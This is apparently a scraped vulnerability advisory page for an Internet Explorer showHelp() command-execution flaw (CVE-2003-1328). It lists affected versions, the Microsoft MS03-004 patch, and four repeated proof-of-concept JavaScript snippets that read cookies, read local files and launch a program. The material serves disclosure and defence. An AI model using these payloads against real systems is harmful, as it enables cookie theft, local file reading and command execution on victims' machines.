Microsoft Internet Explorer ShowHelp Arbitrary Command Execution Vulnerability
BID:6780
Info
Microsoft Internet Explorer ShowHelp Arbitrary Command Execution Vulnerability
| Bugtraq ID: | 6780 |
| Class: | Access Validation Error |
| CVE: |
CVE-2003-1328 |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 05 2003 12:00AM |
| Updated: | Jul 11 2009 08:06PM |
| Credit: | The discovery of this vulnerability has been credited to Andreas Sandblad. |
| Vulnerable: |
Microsoft Internet Explorer 5.0.1 SP3 Microsoft Internet Explorer 5.0.1 SP2 Microsoft Internet Explorer 5.0.1 SP1 Microsoft Internet Explorer 5.0.1 Microsoft Internet Explorer 6.0 SP1 Microsoft Internet Explorer 6.0 Microsoft Internet Explorer 5.5 SP2 Microsoft Internet Explorer 5.5 SP1 Microsoft Internet Explorer 5.5 |
| Not Vulnerable: | |
Discussion
Microsoft Internet Explorer ShowHelp Arbitrary Command Execution Vulnerability
Microsoft Internet Explorer implements the showHelp() function as a means of displaying help content contained in HTML pages. However, this function is capable of performing too many other actions outside of its intended functionality through pluggable protocols. These actions could include reading files and executing commands on the vulnerable system.
Microsoft Internet Explorer implements the showHelp() function as a means of displaying help content contained in HTML pages. However, this function is capable of performing too many other actions outside of its intended functionality through pluggable protocols. These actions could include reading files and executing commands on the vulnerable system.
Exploit / POC
Microsoft Internet Explorer ShowHelp Arbitrary Command Execution Vulnerability
CORE has developed a working commercial exploit for their IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.
The following proof of concept examples were provided:
Exploit 1:
// Sandblad advisory #11 - Read your google cookie
showHelp("file:");showHelp("http://www.google.com/");
showHelp("javascript:alert(document.cookie)");
Exploit 2:
// Sandblad advisory #11 - Read the file c:\test.txt
showHelp("file:");showHelp("res://shdoclc.dll/about.dlg");
showHelp("javascript:try{c=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){c=new ActiveXObject('Microsoft.XMLHTTP')};c.open('GET','file://c:/test.txt',false);c.send(null);alert(c.responseText)");
Exploit 3:
// Sandblad advisory #11 - Read the file c:\test.txt
showHelp("file:");showHelp("file://c:/test.txt");
showHelp("javascript:alert(document.body.innerText)");
Exploit 4:
// Sandblad advisory #11 - Run the very nice game Winmine
showHelp("file:");showHelp("iexplore.chm");showHelp("res:");
showHelp("javascript:location='mk:@MSITStore:C:'");
showHelp("javascript:document.write('<object id=c classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\\u003E<param name=Command value=ShortCut\\u003E\<param name=Item1 value=,winmine,\\u003E</object\\u003E');c.Click();");
CORE has developed a working commercial exploit for their IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.
The following proof of concept examples were provided:
Exploit 1:
// Sandblad advisory #11 - Read your google cookie
showHelp("file:");showHelp("http://www.google.com/");
showHelp("javascript:alert(document.cookie)");
Exploit 2:
// Sandblad advisory #11 - Read the file c:\test.txt
showHelp("file:");showHelp("res://shdoclc.dll/about.dlg");
showHelp("javascript:try{c=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){c=new ActiveXObject('Microsoft.XMLHTTP')};c.open('GET','file://c:/test.txt',false);c.send(null);alert(c.responseText)");
Exploit 3:
// Sandblad advisory #11 - Read the file c:\test.txt
showHelp("file:");showHelp("file://c:/test.txt");
showHelp("javascript:alert(document.body.innerText)");
Exploit 4:
// Sandblad advisory #11 - Run the very nice game Winmine
showHelp("file:");showHelp("iexplore.chm");showHelp("res:");
showHelp("javascript:location='mk:@MSITStore:C:'");
showHelp("javascript:document.write('<object id=c classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\\u003E<param name=Command value=ShortCut\\u003E\<param name=Item1 value=,winmine,\\u003E</object\\u003E');c.Click();");
Solution / Fix
Microsoft Internet Explorer ShowHelp Arbitrary Command Execution Vulnerability
Solution:
Microsoft has released a security bulletin (MS03-004) which contains a patch for Internet Explorer 5.0.1, 5.5, and 6.0. Microsoft has reported that previous versions are no longer supported and may or may not be affected by this vulnerability.
** A hotfix for IE 6.0SP1 is available which fixes an issue that may cause some users from authenticating to some Internet web sites. Users are advised to download and install this hotfix.
Patch:
Microsoft Internet Explorer 6.0 SP1
Microsoft Internet Explorer 5.5 SP1
Microsoft Internet Explorer 5.5
Microsoft Internet Explorer 5.5 SP2
Microsoft Internet Explorer 6.0
Microsoft Internet Explorer 5.0.1 SP1
Microsoft Internet Explorer 5.0.1 SP3
Microsoft Internet Explorer 5.0.1
Microsoft Internet Explorer 5.0.1 SP2
Solution:
Microsoft has released a security bulletin (MS03-004) which contains a patch for Internet Explorer 5.0.1, 5.5, and 6.0. Microsoft has reported that previous versions are no longer supported and may or may not be affected by this vulnerability.
** A hotfix for IE 6.0SP1 is available which fixes an issue that may cause some users from authenticating to some Internet web sites. Users are advised to download and install this hotfix.
Patch:
Microsoft Internet Explorer 6.0 SP1
-
Microsoft Q810847
http://www.microsoft.com/windows/ie/downloads/critical/810847/default. asp -
Microsoft Q813951
http://www.microsoft.com/windows/ie/downloads/critical/813951/default. asp
Microsoft Internet Explorer 5.5 SP1
Microsoft Internet Explorer 5.5
Microsoft Internet Explorer 5.5 SP2
Microsoft Internet Explorer 6.0
Microsoft Internet Explorer 5.0.1 SP1
Microsoft Internet Explorer 5.0.1 SP3
Microsoft Internet Explorer 5.0.1
Microsoft Internet Explorer 5.0.1 SP2
References
Microsoft Internet Explorer ShowHelp Arbitrary Command Execution Vulnerability
References:
References:
- IE webbrowser_control exploit (CORE Security)
- Microsoft Security Bulletin MS03-004 (Microsoft)
- showHelp("file:") disables security in IE - Sandblad advisory #11 (Andreas Sandblad